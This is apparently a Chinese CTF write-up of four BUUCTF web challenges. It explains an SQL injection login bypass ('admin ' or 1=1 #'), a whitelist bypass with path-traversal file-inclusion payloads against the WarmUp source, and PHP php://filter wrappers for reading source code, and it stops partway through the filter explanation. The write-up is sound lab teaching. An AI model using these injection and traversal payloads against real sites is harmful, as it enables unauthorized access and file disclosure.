buuctf web 前5题

一、[极客大挑战 2019]EasySQL

EasySQL，根据题目盲猜是sql注的题目

检查源码发现传参方式为GET

随意输入用户名和密码，发现有回显

预测后端代码应为：

<?php
//连接mysql
$servername="localhost";
$username="root";
$password="root";
$dbname="mydata";
.
.
.
$username=$_GET['username'];
$password=$_GET['password'];
$sql=select * from users where username='$username' and password='$password';
$ result=query($sql);
.
.
.
?>

根据数据库查询规则，使用万能密码

admin ' or 1=1 #

ps：select * from users where username='admin' or 1=1#' and password="";

admin后的 ' ：为了和前面的 ' 形成闭合

or 1=1：形成查询永真条件

#：将后面条件注释掉

总结：

sql注入万能密码：admin ' or 1=1 #

二、[极客大挑战 2019]Havefun

打开网址查看源码，发现一段注释的内容

GET请求通过URL请求参数，可以在URL后面添加参数，以“?”作为分隔符，参数之间用“&”符号链接。

解释：GET传参cat。输出cat。如果cat=dog。输出一串类似flag的东西。

总结：

GET请求通过URL请求参数，可以在URL后面添加参数，以“?”作为分隔符，参数之间用“&”符号链接。

简单php代码。

三、[HCTF 2018]WarmUp

打开网址，检查以源码。发现隐藏页面source.php

转到source.php可以看到一段php代码

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

先来查看一下，hint.php里的内容

ffffllllaaaagggg这里flag被复写了四次，可以猜测flag被放在4到5个根目录下，即写成../../../../ffffllllaaaagggg或../../../../../ffffllllaaaagggg

再对上面php代码进行逐行分析：

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page)//创建一个函数{$whitelist = ["source"=>"source.php","hint"=>"hint.php"];            //增加白名单，包含source.php和hint.phpif (! isset($page) || !is_string($page)) {//$page不为空或NULL(!isset($page))或(||)不为字符串(!is_string($page))echo "you can't see it";return false;}if (in_array($page, $whitelist)) {//in_array的意思是判断page里是否包含白名单里的内容，即是否包含(source.php或hint.php)return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));/*这里mb_substr返回字符串的一部分mb_substr(需返回字符串（类型：sting）,从哪个数字代表的位置开始（类型：int）,截取长度（类型：int）)mb_strpos(要被检查的字符串,要搜索的字符串）最终返回要被检查字符串的位置（类型：int）综合来看就是mb_strpos函数，检索$page中?的位置，并返回?所在的位置数，mb_substr函数将从0开始，到?位置的$page字符串返回到型变量$_page*/if (in_array($_page, $whitelist)) {return true;}/*in_array(被搜索的值，搜索的数组，类型)经过上面的截取代码，$_page是否存在source.php或hint.php，如果存在就返回true*/$_page = urldecode($page);/*进行一次url解码，将%3F解码为?所以这里将?写做%3F也无法实现绕过*/$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}//这一部分解释同上echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])//判断文件不能为空&& is_string($_REQUEST['file'])//并且，传入参数为字符串&& emmm::checkFile($_REQUEST['file'])//并且，调用函数（白名单）要过白名单检测，过了之后，即可看到包含了flag的文件) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

构造playload(1)=http://ip/?file=souce.php?../../../../ffffllllaaaagggg

playload(2)=http://ip/?file=souce.php?../../../../../ffffllllaaaagggg

playload(3)=http://ip/?file=hint.php?../../../../../ffffllllaaaagggg

分别进行尝试

（中间有靶机到期自动销毁的情况，截图的网址有变化）Q^Q

总论：

mb_strpos和mb_substr截取内容，碰到？就截止，所以我们只需要输入/?file=source.php?即可绕过白名单检测

四、[ACTF2020 新生赛]Include

进入网页，打开源码，只有tips有提示

点击tips，跳转到/?file=flag.php，还是什么也没有

根据题目（include）提示，可以猜测flag在/?file=flag.php页面中，但是被注释了，所以我们就要想办法获取网页的源码。

所以这里可以想到要构造php伪协议

PHP伪协议也是php支持的协议和封装协议。

常见的有

file:// 访问本地文件系统
php:// 访问各个输入/输出流
data:// 数据
zip:// 压缩流不过有些伪协议需要allow_url_fopen和allow_url_include的支持

php://

php:// 访问各个输入/输出流I/O streams在CTF中经常使用的是php://filter和php//input
php://filter用于读取源码php://input用于执行php代码。

php://filter伪协议
php://filter/参数=转换过滤器
参数：
1.resource=<要过滤的数据流>
2.read=<读链的过滤器>
3.write=<写链的过滤器>
4.<;两个链的过滤器>

转换过滤器：
1.convert.base64-encode & convert.base64-decode<等同于base64_encode()和base64_decode()，base64编码解码>
2.convert。quoted-printable-encode & convert.quoted-printable-decode<quoted-printable 字符串编码解码>